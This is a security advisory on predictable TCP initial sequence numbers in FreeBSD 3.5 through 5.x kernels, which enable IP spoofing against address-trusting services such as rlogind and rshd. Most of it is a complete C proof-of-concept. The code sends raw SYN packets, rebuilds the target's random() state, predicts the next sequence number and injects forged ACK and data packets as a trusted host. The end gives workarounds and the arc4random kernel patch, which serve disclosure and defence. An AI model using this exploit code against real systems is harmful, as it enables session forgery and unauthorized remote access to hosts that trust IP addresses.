COMMAND

    kernel (IP spoofing)

SYSTEMS AFFECTED

    At least FreeBSD 5.x, 4.1-RELEASE, 4.0-RELEASE, 3.5-STABLE

PROBLEM

    Following is based  on a Hacker  Emergency Response Team  Advisory
    #00003 by  Pascal Bouchareine  and Paul  Spiby.   There is  a weak
    random() in FreeBSD's TCP stack allows "spoof" attacks.

    The way  FreeBSD handles  random sequence  number incrementing  is
    weak.   With  3  consecutive  random  increments captured from the
    responses of  4 SYN  packets sent  to the  target, an attacker can
    rebuild the random state of the remote machine.  This  information
    can then be used to predict the next random increments the  remote
    machine will make.

    The pseudo-random function called is a linear congruent  generator
    where the (N+1)th value is calculated from the Nth by:

        x[n + 1] = (7^5 * x[n]) mod (2^31 - 1)

    The random incrementation of the ISS is done by adding:

        122 * 1024 + ((random() >> 14) & 0x3ffff)

    This incrementation  is done  for each  connection request  and at
    500ms intervals by the kernel.  Unfortunately, it is likely to  be
    done consecutively if an attacker is fast enough.  Then,  guessing
    the remote  random() state  just takes  (65535 *  3) tests for the
    attacker to  synchronize.   Once done,  the attacker  may generate
    the  same  sequence  numbers  as  the  remote  system  does,   and
    successfully achieve a spoof attack (see example below).

    Any program that  blindly trusts a  remote IP address  and doesn't
    provide  strong  (key/challenge)   authentication  may  allow   an
    attacker to send  arbitrary data to  the machine (eg.  rcmd family
    [rlogind, rshd], some backup software, etc.) while masquerading as
    a trusted host; therefore gaining access to the remote system.

    /* Sample example of remote sequence number prediction.
    **
    ** FreeBSD { 4.1-Rel, 4.0-Rel, 3.5-Stable, ... }
    **
    ** This exploit is part of the research and development effort conducted by
    ** HERT. It is  not a production tool for either attack or defense
    ** within an information warfare setting. Rather, it is a small
    ** program demonstrating proof of concept.
    **
    ** Concept:
    **
    **  1) Attacker sends 4 SYN (with her IP address) and 1 with the spoofed
    **     address.
    **
    **  2) Victim answers with 5 SYN/ACK, *very close in time*
    **
    **     Attacker calculates the 3 random increments that were given.
    **     Since FreeBSD adds randomness to it's ISS two times a second,
    **     this is hopefully avoided during this process.
    **
    **  3) Attacker takes his pocket calculator, calculates a "replay" and
    **     guesses the 4th increment. She manually enters the 5th seq at her
    **     keyboard, drinks a coffee, and sends a forged ACK with the good
    **     seq/ack to victim.
    **     She's done.
    **
    ** You still have to find something for the trusted host to shut up.
    ** This is clearly not the biggest problem.
    **
    ** You may want to adjust precision from 4 SYNs to more or less, regarding
    ** your ping with target (150ms is good). More is useless until you have
    ** two possible matches. Less is usefull to have a 1/2 luck rate if you have
    ** a really bad connection. A 486 dx/33 was used to test this on a 56k modem
    ** with 4 syns and it was just fine.
    **
    **                                Pascal Bouchareine [ kalou <pb@hert.org> ]
    **
    */

    #include <stdio.h>
    #include <unistd.h>
    #include <stdlib.h>
    #include <string.h>
    #include <netdb.h>
    #include <sys/types.h>
    #include <sys/socket.h>
    #include <netinet/in.h>
    #include <arpa/inet.h>
    #include <netinet/in_systm.h>
    #include <netinet/ip.h>
    #include <netinet/tcp.h>

    #define ISS_INCR	     (122*1024)
    #define TCP_RANDOM18(n, lr)  (guess_next(n, lr) >> 14 & 0x3ffff)

    #define INTOA(x) inet_ntoa( (struct in_addr) { x } )

    #ifdef linux
    #define ip_sum ip_csum
    #endif

    struct spoof {
      unsigned int   myaddr;
      unsigned int   src;
      unsigned int   dst;
      unsigned short sport;
      unsigned short dport;
    };

    /*
    ** This simulates freebsd's rand(), and gives the (time)th next random number,
    ** regarding the previous one (r).
    */

    inline unsigned int guess_next(int times, unsigned int r)
    {
      register unsigned int myr;
      register int t, hi, lo;
      int i;

      myr = r;
      for (i = 0; i < times; i++) {
        hi = myr / 127773;
        lo = myr % 127773;
        t = 16807 * lo - 2836 * hi;
        if (t <= 0)
          t += 0x7fffffff;
        myr = t;
      }
      return myr;
    }

    /*
    ** Calculates the next sequence.
    ** With 4 seqs, you often have an unique solution. (always ?)
    **
    */

    inline unsigned int init_iss(unsigned int seq[], int nseq)
    {
      unsigned int	        tcp_iss;
      register unsigned int try;
      int                   i, res;

      if (nseq < 2) {
        return -1;
      }

      tcp_iss = seq[nseq - 1];

      for (try = (((seq[1] - seq[0]) << 2) - ISS_INCR) << 14;
         try < (((((seq[1] - seq[0]) << 2) - ISS_INCR) << 14) + 0xffff); try++) {

          for (i = 1, res = 0; i < (nseq - 1); i++) {
	    if ( ((ISS_INCR + TCP_RANDOM18(i, try)) >> 2) ==
	            (seq[i + 1] - seq[i]) ) {
	      res++;
	    } else {
	      if (res) res--;
	      break;
	    }
          }
          if (res)
          {

	    /* There, each random increment matched. We assume
	    ** the last rand is good to compute the next one.
	    */

           tcp_iss  += ( (ISS_INCR + TCP_RANDOM18(i, try)) >> 2 );

           fprintf(stderr, "[init_iss]\t found (precision %d)\n", res);
           fprintf(stderr, "[init_iss]\t last seq ws %u\n", seq[i]);
           fprintf(stderr, "[init_iss]\t next seq is %u\n", tcp_iss);

           return tcp_iss;
         }

      }
      fprintf(stderr, "[init_iss]\t failed to find iss.\n");
      return 0;
    }

    int raw_sock(int proto)
    {
      int true = 1;
      int s;

      s = socket(AF_INET, SOCK_RAW, proto);
      if (s > 0) {
        if (setsockopt(s, IPPROTO_IP, IP_HDRINCL, &true, sizeof(true))) {
          perror("setsockopt");
          return -1;
        }
      } else {
        perror("raw_sock");
        return -1;
      }

      return s;
    }

    /*
    ** Well i guess this is ripped from somewhere..
    */

    unsigned int host_lookup(char *h)
    {
      struct in_addr a;
      struct hostent *he;

      if ( (a.s_addr = inet_addr(h)) == -1 ) {
        if ( (he = gethostbyname(h)) == NULL ) {
          perror("lookup");
          return -1; /* 255.255.255.255... */
        }

        bcopy(he->h_addr, (char *) &a.s_addr, he->h_length);
      }

      return a.s_addr;
    }

    /* The copy'n pasted one works so well. */

    unsigned short in_cksum(addr, len)
        u_short *addr;
        int len;
    {
        register int nleft = len;
        register u_short *w = addr;
        register int sum = 0;
        u_short answer = 0;

        while (nleft > 1)  {
            sum += *w++;
            nleft -= 2;
        }

        if (nleft == 1) {
            *(u_char *)(&answer) = *(u_char *)w ;
            sum += answer;
        }

        sum = (sum >> 16) + (sum & 0xffff);
        sum += (sum >> 16);
        answer = ~sum;
        return(answer);
    }

    int send_tcp(int  s,
	         unsigned int  src,
	         unsigned int  dst,
	         unsigned char  flg,
	         unsigned short sport,
	         unsigned short dport,
	         unsigned int  seq,
	         unsigned int  ack,
	         char          *data,
	         int            dlen)
    {
      unsigned char pkt[1024];
      struct ip  *ip;
      struct tcphdr *tcp;
      struct sockaddr_in sa;

      static int ip_id = 0;
      struct pseudo {
        unsigned int    s;
        unsigned int    d;
        char            n;
        char            p;
        unsigned short  l;
      } pseudo;

      if (!ip_id) {
        ip_id = htons(rand() % getpid());
      }

      ip     = (struct ip *)  pkt;
      tcp    = (struct tcphdr *) (pkt + sizeof(struct ip));

      pseudo.s      = src;
      pseudo.d      = dst;
      pseudo.n      = 0;
      pseudo.p      = IPPROTO_TCP;
      pseudo.l      = htons(sizeof(struct tcphdr) + dlen);

      tcp->th_sport = htons(sport);
      tcp->th_dport = htons(dport);
      tcp->th_seq   = htonl(seq);
      tcp->th_ack   = htonl(ack);
      tcp->th_off   = 5;
      tcp->th_flags = flg;
      tcp->th_win   = htons(16384);
      tcp->th_urp   = 0;
      tcp->th_sum   = 0;

      memmove(((char *) tcp) + sizeof(struct tcphdr),
	     data, dlen);  /* baom. 1024 */

      memmove(((char *) tcp) - sizeof(struct pseudo),
	     (char *) &pseudo, sizeof(struct pseudo));

      tcp->th_sum = in_cksum(((char *) tcp) - sizeof(struct pseudo),
	                     sizeof(struct pseudo) +
			     sizeof(struct tcphdr) + dlen);

      ip->ip_v    = 4;
      ip->ip_hl   = 5;
      ip->ip_tos  = 0;
      ip->ip_len  = htons(sizeof(struct tcphdr) + sizeof(struct ip) + dlen);
      ip->ip_id   = ip_id++;
      ip->ip_off  = htons(0);
      ip->ip_ttl  = 64;
      ip->ip_p    = IPPROTO_TCP;
      ip->ip_sum  = 0;

      ip->ip_src.s_addr = src;
      ip->ip_dst.s_addr = dst;

    //  ip->ip_sum  = in_cksum(pkt, sizeof(struct ip)
    //			 + sizeof(struct tcphdr) + dlen);

      ip->ip_sum = 0;

      sa.sin_family = AF_INET;
      sa.sin_addr.s_addr = dst;
      sa.sin_port = 0;

      if (sendto(s, pkt, sizeof(struct ip) + sizeof(struct tcphdr) + dlen,
	         0, (struct sockaddr *) &sa, sizeof(sa)) < 0) {

        perror("sendto");
        return -1;
      }

      return 0;
    }

    int get_acks(int s, int n, unsigned int *seq,
	         unsigned int   src_addr,
	         unsigned short src_port)
    {
      struct sockaddr_in from;
      int    fromlen;
      char   buf[512];
      int    nr = n;
      int    len;

      struct tcphdr *tcp;
      struct ip     *ip;

      while(nr) {
        fromlen = sizeof(from);
        if (recvfrom(s, buf, 512, 0, (struct sockaddr *) &from, &fromlen) > 0) {

          ip = (struct ip *) buf;

          if (ip->ip_src.s_addr == src_addr) {

	    len = ip->ip_hl << 2;
	    tcp = (struct tcphdr *) (buf + len);

	    if (tcp->th_sport == src_port) {
	      fprintf(stderr, "[get_acks]\t got %lu\n", ntohl(tcp->th_seq));
	      seq[n - nr--] = ntohl(tcp->th_seq);
	    }

          }

        } else {
          perror("recvfrom");
          return -1;
        }
      }

      return nr;
    }

    unsigned int send_init_flow(int s,
		       unsigned int   src,
		       unsigned int   dst,
		       unsigned int   spoofer,
		       unsigned short sport,
		       unsigned short dport,
		       int nseq)
    {
      unsigned int seq;
      unsigned int ssport = sport;

      int i, err;

      seq = rand();

      err = 0;

      for (i = 0; i < nseq; i++) {
        err += send_tcp(s, src, dst, TH_SYN, ssport++, dport,
	         seq++, 0, "", 0);
      }

      err += send_tcp(s, spoofer, dst, TH_SYN, sport, dport,
		      seq, 0, "", 0);

      if (err)
        return -1;

      return seq;
    }

    void spoof_loop(int s,
		    unsigned int   src,
		    unsigned int   dst,
		    unsigned short sport,
		    unsigned short dport,
		    unsigned int   oseq,
		    unsigned int   oack)
    {
      char buf[512];
      char *p;
      unsigned int seq = oseq + 1;  /* since remote inc'ed us in syn/ack */
      unsigned int ack = oack + 1;  /* since we must inc remote in ack */
      int  i;

      /* Our syn/ack is on its way.
         Better wait a little. */

      usleep(2800);
      send_tcp(s, src, dst, TH_ACK, sport, dport,
	       seq, ack, "", 0);

      while(read(0, buf, 512)) {
        if ( (p = strchr(buf, '\r')) ||
	     (p = strchr(buf, '\n')) ) {
          *p = '\0';
        }

        fprintf(stderr, "[send]\t %s\n", buf);
        strcat(buf, "\r\n");
        send_tcp(s, src, dst, TH_ACK|TH_PUSH, sport, dport,
	         seq, ack, buf, strlen(buf));

        seq += strlen(buf);
        memset(buf, '\0', sizeof(buf));
      }

      send_tcp(s, src, dst, TH_RST, sport, dport,
               seq, ack, buf, strlen(buf));
    }


    int spoof(struct spoof s, int p)
    {
      int ss, rs;
      unsigned int seqs[4];
      unsigned int seq, ack;

      rs = raw_sock(IPPROTO_TCP);
      ss = raw_sock(IPPROTO_RAW);
      if ((ss < 0) || (rs < 0)) {
        perror("raw socket");
        return -1;
      }

      fprintf(stderr, "[main]\t\t probing %s.\n", INTOA(s.dst));
      fprintf(stderr, "[main]\t\t source  %s.\n", INTOA(s.myaddr));

      seq = send_init_flow(ss, s.myaddr,
		           s.dst, s.src, s.sport, s.dport, p);

      if (seq > 0) {
        fprintf(stderr, "[main]\t\t our seq is %u\n", seq);

        if (get_acks(rs, 4, seqs, s.dst, htons(s.dport)) == 0) {
           ack = init_iss(seqs, 4);
           fprintf(stderr, "[main]\t\t using %u+1/%u+1 as %s.\n", seq, ack,
	           INTOA(s.src));

           if (ack > 0) {
              usleep(2000);
              spoof_loop(ss, s.src,
	                 s.dst, s.sport, s.dport, seq, ack);
           } else {
	     return -3;
           }

        } else { /* get_acks */
          return -2;
        }

      } /* seq < 0 */

      return -1;
    }

    void usage(char *p)
    {
      fprintf(stderr, "Usage: %s..\n"
	              "\n\t<-m (my address)>\n"
		      "\t<-s (spoofed host)>\n"
		      "\t<-d (destination)>\n"
		      "\t<-p (dest port)>\n"
		      "\t[-S (source port):rand]\n"
		      "\t[-P precision:4]\n\n", p);
      exit(1);
    }

    int main(int argc, char **argv)
    {
      int          precision;
      unsigned int hostaddr;
      struct spoof s;
      char c;

      srand(getpid());

      s.myaddr = 0;
      s.src    = 0;
      s.dst    = 0;
      s.dport  = 0;
      s.sport  = getpid();

      precision = 4;

      while ((c = getopt(argc, argv, "m:s:d:p:S:P:")) != EOF) {
        switch(c) {
	        case 'm':
	        case 's':
	        case 'd':
	          hostaddr = host_lookup(optarg);

	          if (hostaddr == -1) {
		    fprintf(stderr, "%s: unknown host.\n", optarg);
		    exit(1);
	          }

	          switch(c) {
		          case 'm':
			    s.myaddr = hostaddr;
			    break;
		          case 's':
			    s.src = hostaddr;
			    break;
		          case 'd':
			    s.dst = hostaddr;
			    break;
	          }

	          break;
	        case 'S':
	          s.sport = atoi(optarg);
	          break;
	        case 'p':
	          s.dport = atoi(optarg);
	          break;
	        case 'P':
	          precision = atoi(optarg);
	          break;
        }
      }

      if ((!s.myaddr) ||
          (!s.src) ||
          (!s.dst) ||
          (!s.dport)) {
        usage(argv[0]);
      }

      return spoof(s, precision);
    }

SOLUTION

    Possible workarounds for the vulnerability include one or both  of
    the following:

    1) Disable all insecure  protocols and services including  rlogin,
       rsh   and   rexec   (if   configured   to   use   address-based
       authentication),  or  reconfigure  them  to  not   authenticate
       connections based solely on  originating address.  In  general,
       the rlogin family  should not be  used anyway -  the ssh family
       of commands  (ssh, scp,  slogin) provide  a secure  alternative
       which is included in FreeBSD 4.0 and above.

       To  disable  the  rlogin  family  of  protocols,  make sure the
       /etc/inetd.conf  file  does  not  contain  any of the following
       entries uncommented  (i.e. if  present in  the inetd.conf  file
       they should be commented out as shown below:)

        #shell   stream  tcp     nowait  root    /usr/libexec/rshd 		rshd
        #login   stream  tcp     nowait  root    /usr/libexec/rlogind 	rlogind
        #exec    stream  tcp     nowait  root    /usr/libexec/rexecd 	rexecd

       Be sure  to restart  inetd by   sending it  a HUP  signal after
       making any changes:

        # kill -HUP `cat /var/run/inetd.pid`

       See workaround 3) below.

    2) Impose  IP-level  packet  filters  on network perimeters or  on
       local  affected  machines  to  prevent  access from any outside
       party to  a vulnerable  internal service  using a  "privileged"
       source  address.   For  example,  if  machines  on the internal
       10.0.0.0/24 network are  allowed to obtain  passwordless rlogin
       access to  a server,  then external  users should  be prevented
       from  sending  packets  with  10.0.0.0/24 source addresses from
       the  outside  network  into  the  internal  network.   This  is
       standard  good  security  policy.   Note  however  that  if  an
       external address must be granted access to local resources then
       this type  of filtering  cannot be  applied.   It also does not
       defend  against  spoofing  attacks  from  within  the   network
       perimeter.  Consider disabling this service until the  affected
       machines can be patched.

    3) Enable  the  use  of  IPSEC  to  authenticate (and/or  encrypt)
       vulnerable TCP  connections at  the IP  layer.   A system which
       requires authenticaion  of all  incoming connections  to a port
       using IPSEC  cannot be  spoofed using  the attack  described in
       this advisory, nor can TCP sessions be hijacked by an  attacker
       with  access  to  the  packet  stream.   FreeBSD  4.0 and later
       include IPSEC functionality  in the kernel,  and 4.1 and  later
       include  an  IKE  daemon,  racoon,  in  the  ports  collection.
       Configuration of IPSEC  is beyond the  scope of this  document,
       however see the following web resources:

        http://www.freebsd.org/handbook/ipsec.html
        http://www.netbsd.org/Documentation/network/ipsec/
        http://www.kame.net/

    Note  that  address-based  authentication  is  generally weak, and
    should be avoided even  in environments running with  the sequence
    numbering   improvements.   Instead,   cryptographically-protected
    protocols and services should be used wherever possible.

    Solution is one of the following:

        1) Upgrade your vulnerable  FreeBSD system to 4.1.1-STABLE  or
           3.5.1-STABLE after the respective correction dates.
       2a) FreeBSD 3.x systems
           Download  the  patch  and  detached  PGP signature from the
           following locations,  and verify  the signature  using your
           PGP utility.
           ftp://ftp.freebsd.org/pub/FreeBSD/CERT/patches/SA-00:52/tcp-iss-3.x.patch
           ftp://ftp.freebsd.org/pub/FreeBSD/CERT/patches/SA-00:52/tcp-iss-3.x.patch.asc
       2b) FreeBSD 4.x systems
           Apply the patch  below and recompile  your kernel.   Either
           save this  advisory to  a file,  or download  the patch and
           detached PGP  signature from  the following  locations, and
           verify the signature using your PGP utility.
           ftp://ftp.freebsd.org/pub/FreeBSD/CERT/patches/SA-00:52/tcp-iss.patch
           ftp://ftp.freebsd.org/pub/FreeBSD/CERT/patches/SA-00:52/tcp-iss.patch.asc

           Index: tcp_seq.h
           ===================================================================
           RCS file: /usr2/ncvs/src/sys/netinet/tcp_seq.h,v
           retrieving revision 1.11
           retrieving revision 1.12
           diff -u -r1.11 -r1.12
           --- tcp_seq.h	1999/12/29 04:41:02	1.11
           +++ tcp_seq.h	2000/09/29 01:37:19	1.12
           @@ -91,7 +91,7 @@
             * number in the range [0-0x3ffff] that is hard to predict.
             */
            #ifndef tcp_random18
           -#define	tcp_random18()	((random() >> 14) & 0x3ffff)
           +#define	tcp_random18()	(arc4random() & 0x3ffff)
            #endif
            #define	TCP_ISSINCR	(122*1024 + tcp_random18())
           
           Index: tcp_subr.c
           ===================================================================
           RCS file: /usr2/ncvs/src/sys/netinet/tcp_subr.c,v
           retrieving revision 1.80
           retrieving revision 1.81
           diff -u -r1.80 -r1.81
           --- tcp_subr.c	2000/09/25 23:40:22	1.80
           +++ tcp_subr.c	2000/09/29 01:37:19	1.81
           @@ -178,7 +178,7 @@
            {
 	           int hashsize;
           
           -	tcp_iss = random();	/* wrong, but better than a constant */
           +	tcp_iss = arc4random();	/* wrong, but better than a constant */
 	           tcp_ccgen = 1;
 	           tcp_cleartaocache();